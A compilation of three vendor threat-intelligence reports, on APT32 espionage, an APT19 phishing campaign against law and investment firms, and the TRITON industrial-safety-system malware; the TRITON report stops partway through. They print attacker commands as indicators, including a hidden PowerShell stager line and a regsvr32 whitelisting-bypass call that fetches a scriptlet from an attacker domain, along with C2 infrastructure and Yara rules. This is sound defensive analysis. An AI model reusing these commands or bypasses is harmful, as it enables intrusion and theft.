SOUNDBITE Table 1: APT32 Private Sector Targeting Identified by FireEye APT32 Interest in Political Influence and Foreign Governments In addition to focused targeting of the private sector with ties to Vietnam, APT32 has also targeted foreign governments, as well as Vietnamese dissidents and journalists since at least 2013. Here is an overview of this activity: A public blog published by the Electronic Frontier Foundation indicated that journalists, activists, dissidents, and bloggers were targeted in 2013 by malware and tactics consistent with APT32 operations. In 2014, APT32 leveraged a spear-phishing attachment titled Plans to crackdown on protesters at the Embassy of Vietnam.exe," which targeted dissident activity among the Vietnamese diaspora in Southeast Asia. Also in 2014, APT32 carried out an intrusion against a Western country s national legislature. In 2015, SkyEye Labs, the security research division of the Chinese firm Qihoo 360, released a report detailing threat actors that were targeting Chinese public and private entities including government agencies, research institutes, maritime agencies, sea construction, and shipping enterprises. The information included in the report indicated that the perpetrators used the same malware, overlapping infrastructure, and similar targets as APT32. In 2015 and 2016, two Vietnamese media outlets were targeted with malware that FireEye assesses to be unique to APT32. In 2017, social engineering content in lures used by the actor provided evidence that they were likely used to target members of the Vietnam diaspora in Australia as well as government employees in the Philippines. APT32 Tactics In their current campaign, APT32 has leveraged ActiveMime files that employ social engineering methods to entice 2/11 the victim into enabling macros. Upon execution, the initialized file downloads multiple malicious payloads from remote servers. APT32 actors continue to deliver the malicious attachments via spear-phishing emails. APT32 actors designed multilingual lure documents which were tailored to specific victims. Although the files had .doc file extensions, the recovered phishing lures were ActiveMime .mht web page archives that contained text and images. These files were likely created by exporting Word documents into single file web pages. Table 2 contains a sample of recovered APT32 multilingual lure files. ActiveMime Lure Files 2017 .doc (2017 Statistical Report on Staff Salary and Allowances) 5458a2e4d784abb1a1127263bd5006b5 Thong tin.doc (Information) ce50e544430e7265a45fab5a1f31e529 Phan Vu Tutn CV.doc 4f761095ca51bfbbf4496a4964e41d4f Ke hoach cuu tro nam 2017.doc (2017 Bailout Plan) e9abe54162ba4572c770ab043f576784 Instructions to GSIS.doc fba089444c769700e47c6b44c362f96b Hoi thao truyen thong doc lap.doc (Traditional Games) f6ee4b72d6d42d0c7be9172be2b817c1 i th ng m i 2016 - h ng.doc (New 2016 Claim Form) aa1f85de3e4d33f31b4f78968b29f175 Hoa don chi tiet tien no.doc (Debt Details) 5180a8d9325a417f2d8066f9226a5154 Thu moi tham du Hoi luan.doc (Collection of Participants) f6ee4b72d6d42d0c7be9172be2b817c1 Danh sach nhan vien vi pham ky luat.doc (List of Employee Violations) 6baafffa7bf960dec821b627f9653e44 -dung-qua ng-ca o.doc (Internal Content Advertising) 471a2e7341f2614b715dc89e803ffcac DVPM-VTC 31.03.17.doc f1af6bb36cdf3cff768faee7919f0733 Table 2: Sampling of APT32 Lure Files The Base64 encoded ActiveMime data also contained an OLE file with malicious macros. When opened, many lure files displayed fake error messages in an attempt to trick users into launching the malicious macros. Figure 1 shows a fake Gmail-theme paired with a hexadecimal error code that encourages the recipient to enable content to resolve the error. Figure 2 displays another APT32 lure that used a convincing image of a fake Windows error message instructing the recipient to enable content to properly display document font characters. 3/11 Figure 1: Example APT32 Phishing Lure Fake Gmail Error Message Figure 2: Example APT32 Phishing Lure Fake Text Encoding Error Message APT32 operators implemented several novel techniques to track the efficacy of their phishing, monitor the distribution of their malicious documents, and establish persistence mechanisms to dynamically update backdoors injected into memory. In order to track who opened the phishing emails, viewed the links, and downloaded the attachments in real-time, 4/11 APT32 used cloud-based email analytics software designed for sales organizations. In some instances, APT32 abandoned direct email attachments altogether and relied exclusively on this tracking technique with links to their ActiveMime lures hosted externally on legitimate cloud storage services. To enhance visibility into the further distribution of their phishing lures, APT32 utilized the native web page functionality of their ActiveMime documents to link to external images hosted on APT32 monitored infrastructure. Figure 3 contains an example phishing lure with HTML image tags used for additional tracking by APT32. Figure 3: Phishing Lure Containing HTML Image Tags for Additional Tracking When a document with this feature is opened, Microsoft Word will attempt to download the external image, even if macros were disabled. In all phishing lures analyzed, the external images did not exist. Mandiant consultants suspect that APT32 was monitoring web logs to track the public IP address used to request remote images. When combined with email tracking software, APT32 was able to closely track phishing delivery, success rate, and conduct further analysis about victim organizations while monitoring the interest of security firms. Once macros were enabled on the target system, the malicious macros created two named scheduled tasks as persistence mechanisms for two backdoors on the infected system. The first named scheduled task launched an application whitelisting script protection bypass to execute a COM scriptlet that dynamically downloaded the first backdoor from APT32 s infrastructure and injected it into memory. The second named scheduled task, loaded as an XML file to falsify task attributes, ran a JavaScript code block that downloaded and launched a secondary backdoor, delivered as a multi-stage PowerShell script. In most lures, one scheduled task persisted an APT32-specific backdoor and the other scheduled task initialized a commercially-available backdoor as backup. To illustrate the complexity of these lures, Figure 4 shows the creation of persistence mechanisms for recovered APT32 lure 2017 .doc Figure 4: APT32 ActiveMime Lures Create Two Named Scheduled Tasks In this example, a scheduled task named Windows Scheduled Maintenance was created to run Casey Smith Squiblydoo App Whitelisting bypass every 30 minutes. While all payloads can be dynamically updated, at the time of delivery, this task launched a COM scriptlet ( .sct file extension) that downloaded and executed Meterpreter hosted on images.chinabytes[.]info. Meterpreter then loaded Cobalt Strike BEACON, configured to communicate with 80.255.3[.]87 using the Safebrowsing malleable C2 profile to further blend in with network traffic. A second scheduled task named Scheduled Defrags was created by loading the raw task XML with a backdated task creation timestamp of June 2, 2016. This second task ran mshta.exe every 50 minutes which launched an APT32specific backdoor delivered as shellcode in a PowerShell script, configured to communicate with the domains 5/11 blog.panggin[.]org, share.codehao[.]net, and yii.yiihao126[.]net. Figure 5 illustrates the chain of events for a single successful APT32 phishing lure that dynamically injects two multistage malware frameworks into memory. 6/11 Figure 5: APT32 Phishing Chain of Events The impressive APT32 operations did not stop after they established a foothold in victim environments. Several Mandiant investigations revealed that, after gaining access, APT32 regularly cleared select event log entries and heavily obfuscated their PowerShell-based tools and shellcode loaders with Daniel Bohannon s Invoke-Obfuscation framework. APT32 regularly used stealthy techniques to blend in with legitimate user activity: During one investigation, APT32 was observed using a privilege escalation exploit (CVE-2016-7255) masquerading as a Windows hotfix. In another investigation, APT32 compromised the McAfee ePO infrastructure to distribute their malware as a software deployment task in which all systems pulled the payload from the ePO server using the proprietary SPIPE protocol. APT32 also used hidden or non-printing characters to help visually camouflage their malware on a system. For example, APT32 installed one backdoor as a persistent service with a legitimate service name that had a Unicode no-break space character appended to it. Another backdoor used an otherwise legitimate DLL filename padded with a non-printing OS command control code. APT32 Malware and Infrastructure APT32 appears to have a well-resourced development capability and uses a custom suite of backdoors spanning multiple protocols. APT32 operations are characterized through deployment of signature malware payloads including WINDSHIELD, KOMPROGO, SOUNDBITE, and PHOREAL. APT32 often deploys these backdoors along with the commercially-available Cobalt Strike BEACON backdoor. APT32 may also possess backdoor development capabilities for macOS. The capabilities for this unique suite of malware is shown in Table 3. Malware Capabilities 7/11 WINDSHIELD Command and control (C2) communications via TCP raw sockets Four configured C2s and six configured ports randomly-chosen C2/port for communications Registry manipulation Get the current module's file name Gather system information including registry values, user name, computer name, and current code page File system interaction including directory creation, file deletion, reading, and writing files Load additional modules and execute code Terminate processes Anti-disassembly KOMPROGO Fully-featured backdoor capable of process, file, and registry management Creating a reverse shell File transfers Running WMI queries Retrieving information about the infected system SOUNDBITE C2 communications via DNS Process creation File upload Shell command execution File and directory enumeration/manipulation Window enumeration Registry manipulation System information gathering PHOREAL C2 communications via ICMP Reverse shell creation Filesystem manipulation Registry manipulation Process creation File upload 8/11 BEACON (Cobalt Strike) Publicly available payload that can inject and execute arbitrary code into processes Impersonating the security context of users Importing Kerberos tickets Uploading and downloading files Executing shell commands Configured with malleable C2 profiles to blend in with normal network traffic Co-deployment and interoperability with Metasploit framework SMB Named Pipe in-memory backdoor payload that enables peer-to-peer C2 and pivoting over SMB Table 3: APT32 Malware and Capabilities APT32 operators appear to be well-resourced and supported as they use a large set of domains and IP addresses as command and control infrastructure. The FireEye iSIGHT Intelligence MySIGHT Portal contains additional information on these backdoor families based on Mandiant investigations of APT32 intrusions. Figure 6 provides a summary of APT32 tools and techniques mapped to each stage of the attack lifecycle. Figure 6: APT32 Attack Lifecycle Outlook and Implications Based on incident response investigations, product detections, and intelligence observations along with additional publications on the same operators, FireEye assesses that APT32 is a cyber espionage group aligned with Vietnamese government interests. The targeting of private sector interests by APT32 is notable and FireEye believes the actor poses significant risk to companies doing business in, or preparing to invest in, the country. While the motivation for each APT32 private sector compromise varied and in some cases was unknown the unauthorized access could serve as a platform for law enforcement, intellectual property theft, or anticorruption measures that could ultimately erode the competitive advantage of targeted organizations. Furthermore, APT32 continues to threaten political activism and free speech in Southeast Asia and the public sector worldwide. Governments, journalists, and members of the Vietnam diaspora may continue to be targeted. 9/11 While actors from China, Iran, Russia, and North Korea remain the most active cyber espionage threats tracked and responded to by FireEye, APT32 reflects a growing host of new countries that have adopted this dynamic capability. APT32 demonstrates how accessible and impactful offensive capabilities can be with the proper investment and the flexibility to embrace newly-available tools and techniques. As more countries utilize inexpensive and efficient cyber operations, there is a need for public awareness of these threats and renewed dialogue around emerging nationstate intrusions that go beyond public sector and intelligence targets. APT32 Detection Figure 7 contains a Yara rule can be used to identify malicious macros associated with APT32 s phishing lures: Figure 7: Yara Rule for APT32 Malicious Macros Table 4 contains a sampling of the infrastructure that FireEye has associated with APT32 C2. C2 Infrastructure 103.53.197.202 104.237.218.70 104.237.218.72 185.157.79.3 193.169.245.78 193.169.245.137 23.227.196.210 24.datatimes.org 80.255.3.87 blog.docksugs.org blog.panggin.org contay.deaftone.com check.paidprefund.org datatimes.org docksugs.org economy.bloghop.org emp.gapte.name facebook-cdn.net gap-facebook.com gl-appspot.org help.checkonl.org high.expbas.net high.vphelp.net icon.torrentart.com 10/11 images.chinabytes.info imaps.qki6.com img.fanspeed.net job.supperpow.com lighpress.info menmin.strezf.com mobile.pagmobiles.info news.lighpress.info notificeva.com nsquery.net pagmobiles.info paidprefund.org push.relasign.org relasign.org share.codehao.net seri.volveri.net ssl.zin0.com static.jg7.org syn.timeizu.net teriava.com timeizu.net tonholding.com tulationeva.com untitled.po9z.com update-flashs.com vieweva.com volveri.net vphelp.net yii.yiihao126.net zone.apize.net Table 4: Sampling of APT32 C2 Infrastructure 11/11 Privileges and Credentials: Phished at the Request of Counsel fireeye.com /blog/threat-research/2017/06/phished-at-the-request-of-counsel.html Summary In May and June 2017, FireEye observed a phishing campaign targeting at least seven global law and investment firms. We have associated this campaign with APT19, a group that we assess is composed of freelancers, with some degree of sponsorship by the Chinese government. APT19 used three different techniques to attempt to compromise targets. In early May, the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE 2017-0199. Toward the end of May, APT19 switched to using macro-enabled Microsoft Excel (XLSM) documents. In the most recent versions, APT19 added an application whitelisting bypass to the XLSM documents. At least one observed phishing lure delivered a Cobalt Strike payload. As of the writing of this blog post, FireEye had not observed post-exploitation activity by the threat actors, so we cannot assess the goal of the campaign. We have previously observed APT19 steal data from law and investment firms for competitive economic purposes. This purpose of this blog post is to inform law firms and investment firms of this phishing campaign and provide technical indicators that their IT personnel can use for proactive hunting and detection. The Emails APT19 phishing emails from this campaign originated from sender email accounts from the "@cloudsend[.]net" domain and used a variety of subjects and attachment names. Refer to the Indicators of Compromise section for more details. The Attachments APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel (XLSM) files to deliver their initial exploits. The following sections describe the two methods in further detail. RTF Attachments Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099, the observed RTF attachments download hxxp://tk-in-f156.2bunny[.]com/Agreement.doc. Unfortunately, this file was no longer hosted at tk-in-f156.2bunny[.]com for further analysis. Figure 1 is a screenshot of a packet capture showing one of the RTF files reaching out to hxxp://tk-in-f156.2bunny[.]com/Agreement.doc. 1/14 Figure 1: RTF PCAP XLSM Attachments The XLSM attachments contained multiple worksheets with content that reflected the attachment name. The attachments also contained an image that requested the user to Enable Content , which would enable macro support if it was disabled. Figure 2 provides a screenshot of one of the XLSM files (MD5:30f149479c02b741e897cdb9ecd22da7). Figure 2: Enable macros One of the malicious XLSM attachments that we observed contained a macro that: 1. Determined the system architecture to select the correct path for PowerShell 2. Launched a ZLIB compressed and Base64 encoded command with PowerShell. This is a typical technique used by Meterpreter stagers. Figure 3 depicts the macro embedded within the XLSM file (MD5: 38125a991efc6ab02f7134db0ebe21b6). 2/14 3/14 Figure 3: XLSX Macro Figure 4 contains the decoded output of the encoded text. Figure 4: Decoded ZLIB + Base64 payload 4/14 The shellcode invokes PowerShell to issue a HTTP GET request for a random four (4) character URI on the root of autodiscovery[.]2bunny[.]com. The requests contain minimal HTTP headers since the PowerShell command is executed with mostly default parameters. Figure 5 depicts an HTTP GET request generated by the payload, with minimal HTTP headers. Figure 5: GET Request with minimal HTTP headers Converting the shellcode to ASCII and removing the non-printable characters provides a quick way to pull out network-based indicators (NBI) from the shellcode. Figure 6 shows the extracted NBIs. Figure 6: Decoded shellcode FireEye also identified an alternate macro in some of the XLSM documents, displayed in Figure 7. Figure 7: Alternate macro This macro uses Casey Smith Squiblydoo Application Whitelisting bypass technique to run the command in Figure 8. Figure 8: Application Whitelisting Bypass 5/14 The command in Figure 8 downloads and launches code within an SCT file. The SCT file in the payload (MD5: 1554d6fe12830ae57284b389a1132d65) contained the code shown in Figure 9. Figure 9: SCT contents Figure 10 provides the decoded script. Notice the $DoIt string, which is usually indicative of a Cobalt Strike payload. 6/14 7/14 Figure 10: Decoded SCT contents A quick conversion of the contents of the variable $var_code from Base64 to ASCII shows some familiar network indicators, shown in Figure 11. Figure 11: $var_code to ASCII Second Stage Payload Once the XLSM launches its PowerShell command, it downloads a typical Cobalt Strike BEACON payload, configured with the following parameters: Process Inject Targets: %windir%\syswow64\rundll32.exe %windir%\sysnative\rundll32.exe c2_user_agents Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts; IE0006_ver1;EN_GB) Named Pipes \\%s\pipe\msagent_%x beacon_interval autodiscover.2bunny[.]com/submit.php autodiscover.2bunny[.]com/IE9CompatViewList.xml sfo02s01-in-f2.cloudsend[.]net/submit.php sfo02s01-in-f2.cloudsend[.]net/IE9CompatViewList.xml C2 Port TCP/80 Figure 12 depicts an example of a BEACON C2 attempt from this payload. 8/14 Figure 12: Cobalt Strike BEACON C2 FireEye Product Detections The following FireEye products currently detect and block the methods described above. Table 1 lists the current detection and blocking capabilities by product. Detection Name Product Action Notes SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) Detect XSLM Macro launch Gen:Variant.Application.HackTool.CobaltStrike.1 Detect XSLM Macro launch Malware Object Detect BEACON written to disk Backdoor.BEACON Block* BEACON Callback FE_Malformed_RTF EX/ETP/NX Block* Malware.Binary.rtf EX/ETP/NX Block* Malware.Binary EX/ETP/NX Block* Malware.Binary.xlsx EX/ETP/NX Block* XSLM Table 1: Detection review *Appliances must be configured for block mode. Recommendations FireEye recommends organizations perform the following steps to mitigate the risk of this campaign: 1. Microsoft Office users should apply the patch from Microsoft as soon as possible, if they have not already installed it. 2. Search historic and future emails that match the included indicators of compromise. 3. Review web proxy logs for connections to the included network based indicators of compromise. 4. Block connections to the included fully qualified domain names. 5. Review endpoints for the included host based indicators of compromise. Indicators of Compromise The following section provides the IOCs for the variants of the phishing emails and malicious payloads that FireEye 9/14 has observed during this campaign. Email Senders PressReader Angela Suh Ashley Safronoff Lindsey Hersh Sarah Roberto sarah.roberto@cloudsend[.]net noreply@cloudsend[.]net Email Subject Lines Macron Denies Authenticity Of Leak, French Prosecutors Open Probe Macron Document Leaker Releases New Images, Promises More Information Are Emmanuel Macron's Tax Evasion Documents Real? Time Allocation Vacancy Report china paper table and graph results with zeros some ready not all finished Macron Leaks contain secret plans for the islamisation of France and Europe Attachment Names Macron_Authenticity.doc.rtf Macron_Information.doc.rtf US and EU Trade with China and China CA.xlsm Tables 4 5 7 Appendix with zeros.xlsm Project Codes - 05.30.17.xlsm Weekly Vacancy Status Report 5-30-15.xlsm Macron_Tax_Evasion.doc.rtf Macron_secret_plans.doc.rtf Network Based Indicators (NBI) lyncdiscover.2bunny[.]com autodiscover.2bunny[.]com lyncdiscover.2bunny[.]com:443/Autodiscover/AutodiscoverService/ lyncdiscover.2bunny[.]com/Autodiscover 10/14 autodiscover.2bunny[.]com/K5om sfo02s01-in-f2.cloudsend[.]net/submit.php sfo02s01-in-f2.cloudsend[.]net/IE9CompatViewList.xml tk-in-f156.2bunny[.]com tk-in-f156.2bunny[.]com/Agreement.doc 104.236.77[.]169 138.68.45[.]9 162.243.143[.]145 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts; IE0006_ver1;EN_GB) tf-in-f167.2bunny[.]com:443 (*Only seen in VT not ITW) Host Based Indicators (HBI) RTF MD5 hash values 0bef39d0e10b1edfe77617f494d733a8 0e6da59f10e1c4685bb5b35a30fc8fb6 cebd0e9e05749665d893e78c452607e2 XLSX MD5 hash values 38125a991efc6ab02f7134db0ebe21b6 3a1dca21bfe72368f2dd46eb4d9b48c4 30f149479c02b741e897cdb9ecd22da7 BEACON and Meterpreter payload MD5 hash values bae0b39197a1ac9e24bdf9a9483b18ea 1151619d06a461456b310096db6bc548 Process arguments, named pipes, and file paths powershell.exe -NoP -NonI -W Hidden -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("") regsvr32.exe /s /n /u /i:hxxps://lyncdiscover.2bunny.com/Autodiscover scrobj.dll \\\pipe\msagent_<4 digits> C:\Documents and Settings\\Local Settings\Temp\K5om.dll (4 character DLL based on URI of original GET request) Yara Rules 11/14 rule FE_LEGALSTRIKE_MACRO { meta:version=".1" filetype="MACRO" author="Ian.Ahl@fireeye.com @TekDefense" date="2017-06-02" description="This rule is designed to identify macros with the specific encoding used in the sample 30f149479c02b741e897cdb9ecd22da7." strings: // OBSFUCATION $ob1 = "ChrW(114) & ChrW(101) & ChrW(103) & ChrW(115) & ChrW(118) & ChrW(114) & ChrW(51) & ChrW(50) & ChrW(46) & ChrW(101)" ascii wide $ob2 = "ChrW(120) & ChrW(101) & ChrW(32) & ChrW(47) & ChrW(115) & ChrW(32) & ChrW(47) & ChrW(110) & ChrW(32) & ChrW(47)" ascii wide $ob3 = "ChrW(117) & ChrW(32) & ChrW(47) & ChrW(105) & ChrW(58) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(115)" ascii wide $ob4 = "ChrW(58) & ChrW(47) & ChrW(47) & ChrW(108) & ChrW(121) & ChrW(110) & ChrW(99) & ChrW(100) & ChrW(105) & ChrW(115)" ascii wide $ob5 = "ChrW(99) & ChrW(111) & ChrW(118) & ChrW(101) & ChrW(114) & ChrW(46) & ChrW(50) & ChrW(98) & ChrW(117) & ChrW(110)" ascii wide $ob6 = "ChrW(110) & ChrW(121) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(109) & ChrW(47) & ChrW(65) & ChrW(117) & ChrW(116)" ascii wide $ob7 = "ChrW(111) & ChrW(100) & ChrW(105) & ChrW(115) & ChrW(99) & ChrW(111) & ChrW(118) & ChrW(101) & ChrW(114) & ChrW(32)" ascii wide $ob8 = "ChrW(115) & ChrW(99) & ChrW(114) & ChrW(111) & ChrW(98) & ChrW(106) & ChrW(46) & ChrW(100) & ChrW(108) & ChrW(108)" ascii wide $obreg1 = /(\w{5}\s&\s){7}\w{5}/ $obreg2 = /(Chrw\(\d{1,3}\)\s&\s){7}/ // wscript $wsobj1 = "Set Obj = CreateObject(\"WScript.Shell\")" ascii wide $wsobj2 = "Obj.Run " ascii wide condition: (uint16(0) != 0x5A4D) all of ($wsobj*) and 3 of ($ob*) all of ($wsobj*) and all of ($obreg*) 12/14 rule FE_LEGALSTRIKE_MACRO_2 { meta:version=".1" filetype="MACRO" author="Ian.Ahl@fireeye.com @TekDefense" date="2017-06-02" description="This rule was written to hit on specific variables and powershell command fragments as seen in the macro found in the XLSX file3a1dca21bfe72368f2dd46eb4d9b48c4." strings: // Setting the environment $env1 = "Arch = Environ(\"PROCESSOR_ARCHITECTURE\")" ascii wide $env2 = "windir = Environ(\"windir\")" ascii wide $env3 = "windir + \"\\syswow64\\windowspowershell\\v1.0\\powershell.exe\"" ascii wide // powershell command fragments $ps1 = "-NoP" ascii wide $ps2 = "-NonI" ascii wide $ps3 = "-W Hidden" ascii wide $ps4 = "-Command" ascii wide $ps5 = "New-Object IO.StreamReader" ascii wide $ps6 = "IO.Compression.DeflateStream" ascii wide $ps7 = "IO.MemoryStream" ascii wide $ps8 = ",$([Convert]::FromBase64String" ascii wide $ps9 = "ReadToEnd();" ascii wide $psregex1 = /\W\w+\s+\s\".+\"/ condition: (uint16(0) != 0x5A4D) all of ($env*) and 6 of ($ps*) all of ($env*) and 4 of ($ps*) and all of ($psregex*) 13/14 rule FE_LEGALSTRIKE_RTF { meta: version=".1" filetype="MACRO" author="joshua.kim@FireEye.com" date="2017-06-02" description="Rtf Phishing Campaign leveraging the CVE 2017-0199 exploit, to point to the domain 2bunnyDOTcom" strings: $header = "{\\rt" $lnkinfo = "4c0069006e006b0049006e0066006f" $encoded1 = "4f4c45324c696e6b" $encoded2 = "52006f006f007400200045006e007400720079" $encoded3 = "4f0062006a0049006e0066006f" $encoded4 = "4f006c0065" $http1 = "68{" $http2 = "74{" $http3 = "07{" // 2bunny.com $domain1 = "32{\\" $domain2 = "62{\\" $domain3 = "75{\\" $domain4 = "6e{\\" $domain5 = "79{\\" $domain6 = "2e{\\" $domain7 = "63{\\" $domain8 = "6f{\\" $domain9 = "6d{\\" $datastore = "\\*\\datastore" condition: $header at 0 and all of them Acknowledgements Joshua Kim, Nick Carr, Gerry Stellatos, Charles Carmakal, TJ Dahms, Nick Richard, Barry Vengerik, Justin Prosco, Christopher Glyer 14/14 Attackers Deploy New ICS Attack Framework TRITON and Cause Operational Disruption to Critical Infrastructure www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html Introduction Mandiant recently responded to an incident at a critical infrastructure organization where an attacker deployed malware designed to manipulate industrial safety systems. The targeted systems provided emergency shutdown capability for industrial processes. We assess with moderate confidence that the attacker was developing the capability to cause physical damage and inadvertently shutdown operations. This malware, which we call TRITON, is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers. We have not attributed the incident to a threat actor, though we believe the activity is consistent with a nation state preparing for an attack. TRITON is one of a limited number of publicly identified malicious software families targeted at industrial control systems (ICS). It follows Stuxnet which was used against Iran in 2010 and Industroyer which we believe was deployed by Sandworm Team against Ukraine in 2016. TRITON is consistent with these attacks, in that it could prevent safety mechanisms from executing their intended function, resulting in a physical consequence. Malware Family Main Modules Description TRITON trilog.exe Main executable leveraging libraries.zip library.zip Custom communication library for interaction with Triconex controllers. Table 1: Description of TRITON Malware Incident Summary The attacker gained remote access to an SIS engineering workstation and deployed the TRITON attack framework to reprogram the SIS controllers. During the incident, some SIS controllers entered a failed safe state, which automatically shutdown the industrial process and prompted the asset owner to initiate an investigation. The investigation found that the SIS controllers initiated a safe shutdown when application code between redundant processing units failed a validation check -- resulting in an MP diagnostic failure message. We assess with moderate confidence that the attacker inadvertently shutdown operations while developing the ability to cause physical damage for the following reasons: 1/10 Modifying the SIS could prevent it from functioning correctly, increasing the likelihood of a failure that would result in physical consequences. TRITON was used to modify application memory on SIS controllers in the environment, which could have led to a failed validation check. The failure occurred during the time period when TRITON was used. It is not likely that existing or external conditions, in isolation, caused a fault during the time of the incident. Attribution FireEye has not connected this activity to any actor we currently track; however, we assess with moderate confidence that the actor is sponsored by a nation state. The targeting of critical infrastructure as well as the attacker s persistence, lack of any clear monetary goal and the technical resources necessary to create the attack framework suggest a well-resourced nation state actor. Specifically, the following facts support this assessment: The attacker targeted the SIS suggesting an interest in causing a high-impact attack with physical consequences. This is an attack objective not typically seen from cyber-crime groups. The attacker deployed TRITON shortly after gaining access to the SIS system, indicating that they had pre-built and tested the tool which would require access to hardware and software that is not widely available. TRITON is also designed to communicate using the proprietary TriStation protocol which is not publicly documented suggesting the adversary independently reverse engineered this protocol. The targeting of critical infrastructure to disrupt, degrade, or destroy systems is consistent with numerous attack and reconnaissance activities carried out globally by Russian, Iranian, North Korean, U.S., and Israeli nation state actors. Intrusions of this nature do not necessarily indicate an immediate intent to disrupt targeted systems, and may be preparation for a contingency. Background on Process Control and Safety Instrumented Systems 2/10 Figure 1: ICS Reference Architecture Modern industrial process control and automation systems rely on a variety of sophisticated control systems and safety functions. These systems and functions are often referred to as Industrial Control Systems (ICS) or Operational Technology (OT). A Distributed Control System (DCS) provides human operators with the ability to remotely monitor and control an industrial process. It is a computerized control system consisting of computers, software applications and controllers. An Engineering Workstation is a computer used for configuration, maintenance and diagnostics of the control system applications and other control system equipment. A SIS is an autonomous control system that independently monitors the status of the process under control. If the process exceeds the parameters that define a hazardous state, the SIS attempts to bring the process back into a safe state or automatically performs a safe shutdown of the process. If the SIS and DCS controls fail, the final line of defense is the design of the industrial facility, which includes mechanical protections on equipment (e.g. rupture discs), physical alarms, emergency response procedures and other mechanisms to mitigate 3/10 dangerous situations. Asset owners employ varied approaches to interface their plant's DCS with the SIS. The traditional approach relies on the principles of segregation for both communication infrastructures and control strategies. For at least the past decade, there has been a trend towards integrating DCS and SIS designs for various reasons including lower cost, ease of use, and benefits achieved from exchanging information between the DCS and SIS. We believe TRITON acutely demonstrates the risk associated with integrated designs that allow bidirectional communication between DCS and SIS network hosts. Safety Instrumented Systems Threat Model and Attack Scenarios Figure 2: Temporal Relationship Between Cyber Security and Safety The attack lifecycle for disruptive attacks against ICS is similar to other types of cyber attacks, with a few key distinctions. First, the attacker s mission is to disrupt an operational process rather than steal data. Second, the attacker must have performed OT reconnaissance and have sufficient specialized engineering knowledge to understand the industrial process being controlled and successfully manipulate it. Figure 2 represents the relationship between cyber security and safety controls in a process control environment. Even if cyber security measures fail, safety controls are designed to prevent physical damage. To maximize physical impact, a cyber attacker would also need to bypass safety controls. The SIS threat model below highlights some of the options available to an attacker who has successfully compromised an SIS. 4/10 Attack Option 1: Use the SIS to shutdown the process The attacker can reprogram the SIS logic to cause it to trip and shutdown a process that is, in actuality, in a safe state. In other words, trigger a false positive. Implication: Financial losses due to process downtime and complex plant start up procedure after the shutdown. Attack Option 2: Reprogram the SIS to allow an unsafe state The attacker can reprogram the SIS logic to allow unsafe conditions to persist. Implication: Increased risk that a hazardous situation will cause physical consequences (e.g. impact to equipment, product, environment and human safety) due to a loss of SIS functionality. Attack Option 3: Reprogram the SIS to allow an unsafe state while using the DCS to create an unsafe state or hazard The attacker can manipulate the process into an unsafe state from the DCS while preventing the SIS from functioning appropriately. Implication: Impact to human safety, the environment, or damage to equipment, the extent of which depends on the physical constraints of the process and the plant design. Analysis of Attacker Intent We assess with moderate confidence that the attacker s long-term objective was to develop the capability to cause a physical consequence. We base this on the fact that the attacker initially obtained a reliable foothold on the DCS and could have developed the capability to manipulate the process or shutdown the plant, but instead proceeded to compromise the SIS system. Compromising both the DCS and SIS system would enable the attacker to develop and carry out an attack that causes the maximum amount of damage allowed by the physical and mechanical safeguards in place. Once on the SIS network, the attacker used their pre-built TRITON attack framework to interact with the SIS controllers using the TriStation protocol. The attacker could have caused a process shutdown by issuing a halt command or intentionally uploading flawed code to the SIS controller to cause it to fail. Instead, the attacker made several attempts over a period of time to develop and deliver functioning control logic for the SIS controllers in this target environment. While these attempts appear to have failed due one of the attack scripts conditional checks, the attacker persisted with their efforts. This suggests the attacker was intent on causing a specific outcome beyond a process shutdown. Of note, on several occasions, we have observed evidence of long term intrusions into ICS which were not ultimately used to disrupt or disable operations. For instance, Russian operators, such as Sandworm Team, have compromised Western ICS over a multi-year period without causing a disruption. Summary of Malware Capabilities 5/10 The TRITON attack tool was built with a number of features, including the ability to read and write programs, read and write individual functions and query the state of the SIS controller. However, only some of these capabilities were leveraged in the trilog.exe sample (e.g. the attacker did not leverage all of TRITON s extensive reconnaissance capabilities). The TRITON malware contained the capability to communicate with Triconex SIS controllers (e.g. send specific commands such as halt or read its memory content) and remotely reprogram them with an attacker-defined payload. The TRITON sample Mandiant analyzed added an attacker-provided program to the execution table of the Triconex controller. This sample left legitimate programs in place, expecting the controller to continue operating without a fault or exception. If the controller failed, TRITON would attempt to return it to a running state. If the controller did not recover within a defined time window, this sample would overwrite the malicious program with invalid data to cover its tracks. Recommendations Asset owners who wish to defend against the capabilities demonstrated in the incident, should consider the following controls: Where technically feasible, segregate safety system networks from process control and information system networks. Engineering workstations capable of programming SIS controllers should not be dual-homed to any other DCS process control or information system network. Leverage hardware features that provide for physical control of the ability to program safety controllers. These usually take the form of switches controlled by a physical key. On Triconex controllers, keys should not be left in the PROGRAM mode other than during scheduled programming events. Implement change management procedures for changes to key position. Audit current key state regularly. Use a unidirectional gateway rather than bidirectional network connections for any applications that depend on the data provided by the SIS. Implement strict access control and application whitelisting on any server or workstation endpoints that can reach the SIS system over TCP/IP. Monitor ICS network traffic for unexpected communication flows and other anomalous activity. 6/10 Figure 3: Triconex Key Switch (source) Appendix: Technical Analysis Figure 4: TRITON Architecture and Attack Scenario TRITON was deployed on an SIS engineering workstation running the Microsoft Windows operating system. The malware was named to masquerade as the legitimate Triconex Trilog application. This application is used for reviewing logs and is a part of the TriStation application suite. The malware was delivered as a Py2EXE compiled python script dependent on a zip file containing standard Python libraries, open source libraries, as well as the attacker7/10 developed Triconex attack framework for interacting with the Triconex controllers. Along with the executable, two binary files, inject.bin (malicious function code) and imain.bin (malicious control logic), were deployed as the controller s payload. These file names were hard coded in the Py2EXE compiled python script. Trilog.exe took one option from the command line, which was a single IP address of the target Triconex device. It did not leverage the underlying TRITON library s capability for Triconex device discovery, instead an instance of trilog.exe had to be invoked separately for each target controller in the environment. Once invoked, trilog.exe checked the status of the controller, then read the configuration information 